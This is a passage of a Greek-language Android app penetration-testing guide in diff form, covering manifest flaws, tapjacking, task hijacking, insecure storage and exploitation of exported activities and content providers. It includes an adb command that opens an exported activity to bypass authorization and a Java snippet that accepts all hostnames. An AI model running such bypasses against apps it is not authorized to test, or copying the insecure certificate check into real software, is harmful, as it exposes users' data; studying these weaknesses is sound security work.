- **Debuggable Εφαρμογές**: Οι εφαρμογές που έχουν οριστεί ως debuggable (`debuggable="true"`) στο αρχείο _Manifest.xml_ ενέχουν κίνδυνο καθώς επιτρέπουν συνδέσεις που μπορεί να οδηγήσουν σε εκμετάλλευση. Για περαιτέρω κατανόηση σχετικά με το πώς να εκμεταλλευτείτε debuggable εφαρμογές, ανατρέξτε σε ένα tutorial για την εύρεση και εκμετάλλευση debuggable εφαρμογών σε μια συσκευή.
|
||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που διαχειρίζονται ευαίσθητες πληροφορίες ώστε να αποτρέπεται η μη εξουσιοδοτημένη δημιουργία αντιγράφων ασφαλείας μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP. Ένα παράδειγμα είναι η επιτρεπόμενη κυκλοφορία HTTP για συγκεκριμένους τομείς.
|
||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να κακοποιηθούν. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
|
||||
- **Ρυθμίσεις Αντιγράφων Ασφαλείας**: Το χαρακτηριστικό `android:allowBackup="false"` θα πρέπει να ορίζεται ρητά για εφαρμογές που ασχολούνται με ευαίσθητες πληροφορίες για να αποτραπούν μη εξουσιοδοτημένα αντίγραφα ασφαλείας δεδομένων μέσω adb, ειδικά όταν είναι ενεργοποιημένη η αποσφαλμάτωση usb.
|
||||
- **Ασφάλεια Δικτύου**: Οι προσαρμοσμένες ρυθμίσεις ασφάλειας δικτύου (`android:networkSecurityConfig="@xml/network_security_config"`) στο _res/xml/_ μπορούν να καθορίσουν λεπτομέρειες ασφαλείας όπως πιστοποιητικά και ρυθμίσεις HTTP traffic. Ένα παράδειγμα είναι η επιτρεπόμενη HTTP traffic για συγκεκριμένα domains.
|
||||
- **Εξαγόμενες Δραστηριότητες και Υπηρεσίες**: Η αναγνώριση εξαγόμενων δραστηριοτήτων και υπηρεσιών στο manifest μπορεί να αναδείξει στοιχεία που μπορεί να χρησιμοποιηθούν κακόβουλα. Περαιτέρω ανάλυση κατά τη διάρκεια δυναμικής δοκιμής μπορεί να αποκαλύψει πώς να εκμεταλλευτείτε αυτά τα στοιχεία.
|
||||
- **Content Providers και FileProviders**: Οι εκτεθειμένοι content providers θα μπορούσαν να επιτρέψουν μη εξουσιοδοτημένη πρόσβαση ή τροποποίηση δεδομένων. Η ρύθμιση των FileProviders θα πρέπει επίσης να εξεταστεί προσεκτικά.
|
||||
- **Broadcast Receivers και URL Schemes**: Αυτά τα στοιχεία θα μπορούσαν να χρησιμοποιηθούν για εκμετάλλευση, με ιδιαίτερη προσοχή στο πώς διαχειρίζονται τα URL schemes για ευπάθειες εισόδου.
|
||||
- **Εκδόσεις SDK**: Τα χαρακτηριστικά `minSdkVersion`, `targetSDKVersion`, και `maxSdkVersion` υποδεικνύουν τις υποστηριζόμενες εκδόσεις Android, τονίζοντας τη σημασία της μη υποστήριξης παλαιών, ευάλωτων εκδόσεων Android για λόγους ασφαλείας.
|
||||
@ -90,7 +90,7 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** είναι μια επίθεση όπου μια **κακόβουλη** **εφαρμογή** εκκινείται και **τοποθετείται πάνω από μια εφαρμογή θύμα**. Μόλις καλύψει ορατά την εφαρμογή θύμα, η διεπαφή χρήστη της είναι σχεδιασμένη με τέτοιο τρόπο ώστε να παραπλανήσει τον χρήστη να αλληλεπιδράσει με αυτήν, ενώ μεταφέρει την αλληλεπίδραση στην εφαρμογή θύμα.\
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι στην πραγματικότητα εκτελεί ενέργειες στην εφαρμογή θύμα**.
|
||||
Στην ουσία, **τυφλώνει τον χρήστη από το να γνωρίζει ότι εκτελεί ενέργειες στην εφαρμογή θύμα**.
|
||||
|
||||
Βρείτε περισσότερες πληροφορίες στο:
|
||||
|
||||
@ -100,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### Task Hijacking
|
||||
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή, θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε task Hijacking. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **υφαρπάξει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
|
||||
|
||||
Περισσότερες πληροφορίες στο:
|
||||
|
||||
@ -112,10 +112,10 @@ android-task-hijacking.md
|
||||
|
||||
**Εσωτερική Αποθήκευση**
|
||||
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας **επιβάλλεται** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
Στο Android, τα αρχεία που **αποθηκεύονται** στην **εσωτερική** αποθήκευση είναι **σχεδιασμένα** να είναι **προσβάσιμα** αποκλειστικά από την **εφαρμογή** που τα **δημιούργησε**. Αυτό το μέτρο ασφαλείας είναι **επιβεβλημένο** από το λειτουργικό σύστημα Android και είναι γενικά επαρκές για τις ανάγκες ασφαλείας των περισσότερων εφαρμογών. Ωστόσο, οι προγραμματιστές μερικές φορές χρησιμοποιούν τρόπους όπως `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` για να **επιτρέψουν** τα αρχεία να **μοιράζονται** μεταξύ διαφορετικών εφαρμογών. Ωστόσο, αυτοί οι τρόποι **δεν περιορίζουν την πρόσβαση** σε αυτά τα αρχεία από άλλες εφαρμογές, συμπεριλαμβανομένων πιθανώς κακόβουλων.
|
||||
|
||||
1. **Στατική Ανάλυση:**
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` **εξετάζεται προσεκτικά**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
- **Βεβαιωθείτε** ότι η χρήση των `MODE_WORLD_READABLE` και `MODE_WORLD_WRITABLE` είναι **προσεκτικά εξετασμένη**. Αυτοί οι τρόποι **μπορούν να εκθέσουν** τα αρχεία σε **μη προγραμματισμένες ή μη εξουσιοδοτημένες προσβάσεις**.
|
||||
2. **Δυναμική Ανάλυση:**
|
||||
- **Επαληθεύστε** τις **άδειες** που έχουν οριστεί στα αρχεία που δημιουργούνται από την εφαρμογή. Συγκεκριμένα, **ελέγξτε** αν οποιαδήποτε αρχεία είναι **ρυθμισμένα να είναι αναγνώσιμα ή εγγράψιμα παγκοσμίως**. Αυτό μπορεί να θέσει σε σημαντικό κίνδυνο την ασφάλεια, καθώς θα επιτρέπει σε **οποιαδήποτε εφαρμογή** εγκατασταθεί στη συσκευή, ανεξαρτήτως προέλευσης ή προθέσεων, να **διαβάσει ή να τροποποιήσει** αυτά τα αρχεία.
|
||||
|
||||
@ -133,10 +133,10 @@ android-task-hijacking.md
|
||||
- Η αποθήκευση εκτελέσιμων ή αρχείων κλάσης στην εξωτερική αποθήκευση για δυναμική φόρτωση αποθαρρύνεται έντονα.
|
||||
- Εάν η εφαρμογή σας πρέπει να ανακτήσει εκτελέσιμα αρχεία από την εξωτερική αποθήκευση, βεβαιωθείτε ότι αυτά τα αρχεία είναι **υπογεγραμμένα και κρυπτογραφικά επαληθευμένα** πριν φορτωθούν δυναμικά. Αυτό το βήμα είναι ζωτικής σημασίας για τη διατήρηση της ασφάλειας της εφαρμογής σας.
|
||||
|
||||
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** στο `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
Η εξωτερική αποθήκευση μπορεί να **προσεγγιστεί** σε `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
> [!TIP]
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτήν την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
> Ξεκινώντας από το Android 4.4 (**API 17**), η κάρτα SD έχει μια δομή καταλόγου που **περιορίζει την πρόσβαση από μια εφαρμογή στον κατάλογο που είναι ειδικά για αυτή την εφαρμογή**. Αυτό αποτρέπει την κακόβουλη εφαρμογή από το να αποκτήσει πρόσβαση για ανάγνωση ή εγγραφή στα αρχεία άλλης εφαρμογής.
|
||||
|
||||
**Ευαίσθητα δεδομένα αποθηκευμένα σε καθαρό κείμενο**
|
||||
|
||||
@ -147,7 +147,7 @@ android-task-hijacking.md
|
||||
|
||||
**Αποδοχή Όλων των Πιστοποιητικών**
|
||||
|
||||
Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το όνομα κεντρικού υπολογιστή δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
|
||||
Για κάποιο λόγο, μερικές φορές οι προγραμματιστές αποδέχονται όλα τα πιστοποιητικά ακόμη και αν, για παράδειγμα, το hostname δεν ταιριάζει με γραμμές κώδικα όπως η παρακάτω:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -160,13 +160,13 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
|
||||
Ορισμένοι προγραμματιστές αποθηκεύουν ευαίσθητα δεδομένα στην τοπική αποθήκευση και τα κρυπτογραφούν με ένα κλειδί σκληρά κωδικοποιημένο/προβλέψιμο στον κώδικα. Αυτό δεν θα έπρεπε να γίνεται καθώς κάποια αναστροφή θα μπορούσε να επιτρέψει στους επιτιθέμενους να εξάγουν τις εμπιστευτικές πληροφορίες.
|
||||
|
||||
**Χρήση Ανασφαλών και/ή Υποστηριζόμενων Αλγορίθμων**
|
||||
**Χρήση Ανασφαλών και/ή Παρωχημένων Αλγορίθμων**
|
||||
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **υποστηριζόμενους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν οι **hashes** χρησιμοποιούνται για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικοί σε brute-force με salt.
|
||||
Οι προγραμματιστές δεν θα πρέπει να χρησιμοποιούν **παρωχημένους αλγορίθμους** για να εκτελούν **ελέγχους** εξουσιοδότησης, **να αποθηκεύουν** ή **να στέλνουν** δεδομένα. Ορισμένοι από αυτούς τους αλγορίθμους είναι: RC4, MD4, MD5, SHA1... Αν χρησιμοποιούνται **hashes** για την αποθήκευση κωδικών πρόσβασης, θα πρέπει να χρησιμοποιούνται hashes ανθεκτικά σε brute-force με salt.
|
||||
|
||||
### Άλλοι έλεγχοι
|
||||
|
||||
- Συνιστάται να **αποκρύπτετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
|
||||
- Συνιστάται να **παραποιήσετε το APK** για να δυσκολέψετε τη δουλειά του reverse engineer στους επιτιθέμενους.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να εκτελεί τους **δικούς της ελέγχους για να δει αν το κινητό είναι ριζωμένο** και να ενεργεί αναλόγως.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να ελέγχει αν χρησιμοποιείται **emulator**.
|
||||
- Αν η εφαρμογή είναι ευαίσθητη (όπως οι τραπεζικές εφαρμογές), θα πρέπει να **ελέγχει την ακεραιότητά της πριν την εκτέλεση** για να ελέγξει αν έχει τροποποιηθεί.
|
||||
@ -190,7 +190,7 @@ react-native-application.md
|
||||
|
||||
### Superpacked Εφαρμογές
|
||||
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας αλγόριθμος Meta που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
Σύμφωνα με αυτήν την [**ανάρτηση στο blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) το superpacked είναι ένας Meta αλγόριθμος που συμπιέζει το περιεχόμενο μιας εφαρμογής σε ένα μόνο αρχείο. Το blog μιλάει για την πιθανότητα δημιουργίας μιας εφαρμογής που αποσυμπιέζει αυτού του είδους τις εφαρμογές... και μια ταχύτερη μέθοδο που περιλαμβάνει την **εκτέλεση της εφαρμογής και τη συλλογή των αποσυμπιεσμένων αρχείων από το σύστημα αρχείων.**
|
||||
|
||||
### Αυτοματοποιημένη Στατική Ανάλυση Κώδικα
|
||||
|
||||
@ -198,7 +198,7 @@ react-native-application.md
|
||||
|
||||
Με αυτή τη γνώση, **το mariana-trench θα αναθεωρήσει τον κώδικα και θα βρει πιθανές ευπάθειες σε αυτόν**.
|
||||
|
||||
### Μυστικά που διαρρέουν
|
||||
### Μυστικά που διέρρευσαν
|
||||
|
||||
Μια εφαρμογή μπορεί να περιέχει μυστικά (API keys, κωδικούς πρόσβασης, κρυφές διευθύνσεις URL, υποτομείς...) μέσα σε αυτήν που μπορεί να είστε σε θέση να ανακαλύψετε. Μπορείτε να χρησιμοποιήσετε ένα εργαλείο όπως το [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
|
||||
@ -212,8 +212,8 @@ bypass-biometric-authentication-android.md
|
||||
|
||||
- **Εκτέλεση κώδικα**: `Runtime.exec(), ProcessBuilder(), native code:system()`
|
||||
- **Αποστολή SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
- **Native functions** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε native functions**](reversing-native-libraries.md)
|
||||
- **Εγγενείς λειτουργίες** δηλωμένες ως `native`: `public native, System.loadLibrary, System.load`
|
||||
- [Διαβάστε αυτό για να μάθετε **πώς να αναστρέψετε εγγενείς λειτουργίες**](reversing-native-libraries.md)
|
||||
|
||||
### **Άλλες τεχνικές**
|
||||
|
||||
@ -243,7 +243,7 @@ content-protocol.md
|
||||
|
||||
#### Χρησιμοποιώντας έναν εξομοιωτή
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**οι τελευταίες εκδόσεις x86** υποστηρίζουν ARM βιβλιοθήκες χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Μπορείτε να δημιουργήσετε **x86** και **arm** συσκευές, και σύμφωνα με [**αυτό**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) οι **latest x86** εκδόσεις **υποστηρίζουν ARM βιβλιοθήκες** χωρίς να χρειάζεται ένας αργός εξομοιωτής arm).
|
||||
- Μάθετε πώς να το ρυθμίσετε σε αυτή τη σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
@ -256,11 +256,11 @@ avd-android-virtual-device.md
|
||||
> [!TIP]
|
||||
> Όταν δημιουργείτε έναν νέο εξομοιωτή σε οποιαδήποτε πλατφόρμα, θυμηθείτε ότι όσο μεγαλύτερη είναι η οθόνη, τόσο πιο αργά θα τρέχει ο εξομοιωτής. Επομένως, επιλέξτε μικρές οθόνες αν είναι δυνατόν.
|
||||
|
||||
Για να **εγκαταστήσετε τις υπηρεσίες google** (όπως το AppStore) στο Genymotion, πρέπει να κάνετε κλικ στο κόκκινο κουμπί που επισημαίνεται στην παρακάτω εικόνα:
|
||||
Για να **εγκαταστήσετε τις υπηρεσίες google** (όπως το AppStore) στο Genymotion, πρέπει να κάνετε κλικ στο κόκκινο επισημασμένο κουμπί της παρακάτω εικόνας:
|
||||
|
||||
.png>)
|
||||
|
||||
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδεθείτε στην Android VM από μια διαφορετική VM με τα εργαλεία).
|
||||
Επίσης, σημειώστε ότι στη **ρύθμιση της Android VM στο Genymotion** μπορείτε να επιλέξετε **Bridge Network mode** (αυτό θα είναι χρήσιμο αν θα συνδέεστε στην Android VM από μια διαφορετική VM με τα εργαλεία).
|
||||
|
||||
#### Χρησιμοποιήστε μια φυσική συσκευή
|
||||
|
||||
@ -270,19 +270,19 @@ avd-android-virtual-device.md
|
||||
2. (Από Android 8.0) Επιλέξτε **Σύστημα**.
|
||||
3. Επιλέξτε **Σχετικά με το τηλέφωνο**.
|
||||
4. Πατήστε **Αριθμός κατασκευής** 7 φορές.
|
||||
5. Επιστρέψτε και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
5. Επιστρέψτε πίσω και θα βρείτε τις **Επιλογές προγραμματιστή**.
|
||||
|
||||
> Μόλις εγκαταστήσετε την εφαρμογή, το πρώτο πράγμα που πρέπει να κάνετε είναι να την δοκιμάσετε και να ερευνήσετε τι κάνει, πώς λειτουργεί και να εξοικειωθείτε με αυτήν.\
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, ώστε να μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
> Θα προτείνω να **εκτελέσετε αυτήν την αρχική δυναμική ανάλυση χρησιμοποιώντας την δυναμική ανάλυση MobSF + pidcat**, έτσι θα μπορέσουμε να **μάθουμε πώς λειτουργεί η εφαρμογή** ενώ το MobSF **καταγράφει** πολλά **ενδιαφέροντα** **δεδομένα** που μπορείτε να αναθεωρήσετε αργότερα.
|
||||
|
||||
### Ακούσια Διαρροή Δεδομένων
|
||||
|
||||
**Καταγραφή**
|
||||
|
||||
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Το Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
|
||||
Οι προγραμματιστές θα πρέπει να είναι προσεκτικοί με την έκθεση **πληροφοριών αποσφαλμάτωσης** δημόσια, καθώς μπορεί να οδηγήσει σε διαρροές ευαίσθητων δεδομένων. Τα εργαλεία [**pidcat**](https://github.com/JakeWharton/pidcat) και `adb logcat` συνιστώνται για την παρακολούθηση των logs της εφαρμογής για να εντοπίσουν και να προστατεύσουν ευαίσθητες πληροφορίες. **Pidcat** προτιμάται για την ευχρηστία και την αναγνωσιμότητά του.
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι από **αργότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Σημειώστε ότι από **αργότερα νεότερα από το Android 4.0**, **οι εφαρμογές μπορούν να έχουν πρόσβαση μόνο στα δικά τους logs**. Έτσι, οι εφαρμογές δεν μπορούν να έχουν πρόσβαση στα logs άλλων εφαρμογών.\
|
||||
> Ούτως ή άλλως, εξακολουθεί να συνιστάται να **μην καταγράφετε ευαίσθητες πληροφορίες**.
|
||||
|
||||
**Caching του Buffer Αντιγραφής/Επικόλλησης**
|
||||
@ -291,13 +291,13 @@ avd-android-virtual-device.md
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός SSL καναλιού για ασφάλεια.
|
||||
Αν μια εφαρμογή **καταρρεύσει** και **αποθηκεύσει logs**, αυτά τα logs μπορούν να βοηθήσουν τους επιτιθέμενους, ιδιαίτερα όταν η εφαρμογή δεν μπορεί να αναστραφεί. Για να μετριάσετε αυτόν τον κίνδυνο, αποφύγετε την καταγραφή σε περιπτώσεις κατάρρευσης, και αν τα logs πρέπει να μεταδοθούν μέσω του δικτύου, βεβαιωθείτε ότι αποστέλλονται μέσω ενός καναλιού SSL για ασφάλεια.
|
||||
|
||||
Ως pentester, **προσπαθήστε να ρίξετε μια ματιά σε αυτά τα logs**.
|
||||
|
||||
**Δεδομένα Analytics που αποστέλλονται σε τρίτους**
|
||||
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να διαρρεύσουν ευαίσθητα δεδομένα λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
Οι εφαρμογές συχνά ενσωματώνουν υπηρεσίες όπως το Google Adsense, οι οποίες μπορεί να **διαρρεύσουν ευαίσθητα δεδομένα** λόγω κακής υλοποίησης από τους προγραμματιστές. Για να εντοπίσετε πιθανές διαρροές δεδομένων, είναι σκόπιμο να **παρεμβάλετε την κίνηση της εφαρμογής** και να ελέγξετε αν αποστέλλεται οποιαδήποτε ευαίσθητη πληροφορία σε υπηρεσίες τρίτων.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
@ -316,7 +316,7 @@ avd-android-virtual-device.md
|
||||
### Εκμετάλλευση εξαγόμενων Δραστηριοτήτων
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Δραστηριότητα Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη μέθοδο **`onCreate`**.
|
||||
Επίσης θυμηθείτε ότι ο κώδικας μιας δραστηριότητας ξεκινά στη **μέθοδο `onCreate`**.
|
||||
|
||||
**Παράκαμψη εξουσιοδότησης**
|
||||
|
||||
@ -334,20 +334,20 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**ΣΗΜΕΙΩΣΗ**: Το MobSF θα ανιχνεύσει ως κακόβουλη τη χρήση του _**singleTask/singleInstance**_ ως `android:launchMode` σε μια δραστηριότητα, αλλά λόγω [αυτού](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), προφανώς αυτό είναι επικίνδυνο μόνο σε παλιές εκδόσεις (API εκδόσεις < 21).
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
|
||||
> Σημειώστε ότι μια παράκαμψη εξουσιοδότησης δεν είναι πάντα μια ευπάθεια, θα εξαρτηθεί από το πώς λειτουργεί η παράκαμψη και ποιες πληροφορίες εκτίθενται.
|
||||
|
||||
**Διαρροή ευαίσθητων πληροφοριών**
|
||||
|
||||
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Εάν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
|
||||
**Οι δραστηριότητες μπορούν επίσης να επιστρέφουν αποτελέσματα**. Αν καταφέρετε να βρείτε μια εξαγόμενη και μη προστατευμένη δραστηριότητα που καλεί τη μέθοδο **`setResult`** και **επιστρέφει ευαίσθητες πληροφορίες**, υπάρχει διαρροή ευαίσθητων πληροφοριών.
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
Εάν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
|
||||
Αν δεν προληφθεί το tapjacking, θα μπορούσατε να εκμεταλλευτείτε την εξαγόμενη δραστηριότητα για να κάνετε τον **χρήστη να εκτελέσει απροσδόκητες ενέργειες**. Για περισσότερες πληροφορίες σχετικά με [**τι είναι το Tapjacking ακολουθήστε τον σύνδεσμο**](#tapjacking).
|
||||
|
||||
### Εκμετάλλευση Παρόχων Περιεχομένου - Πρόσβαση και χειρισμός ευαίσθητων πληροφοριών
|
||||
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι ένας Πάροχος Περιεχομένου.**](android-applications-basics.md#content-provider)\
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Εάν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς θα μπορούσαν να είναι ευάλωτοι.
|
||||
Οι πάροχοι περιεχομένου χρησιμοποιούνται βασικά για να **μοιράζονται δεδομένα**. Αν μια εφαρμογή έχει διαθέσιμους παρόχους περιεχομένου, μπορεί να είστε σε θέση να **εξάγετε ευαίσθητα** δεδομένα από αυτούς. Είναι επίσης ενδιαφέρον να δοκιμάσετε πιθανές **SQL injections** και **Path Traversals** καθώς μπορεί να είναι ευάλωτοι.
|
||||
|
||||
[**Μάθετε πώς να εκμεταλλευτείτε τους Παρόχους Περιεχομένου με το Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -356,7 +356,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
[**Διαβάστε αυτό αν θέλετε να ανανεώσετε τι είναι μια Υπηρεσία.**](android-applications-basics.md#services)\
|
||||
Θυμηθείτε ότι οι ενέργειες μιας Υπηρεσίας ξεκινούν στη μέθοδο `onStartCommand`.
|
||||
|
||||
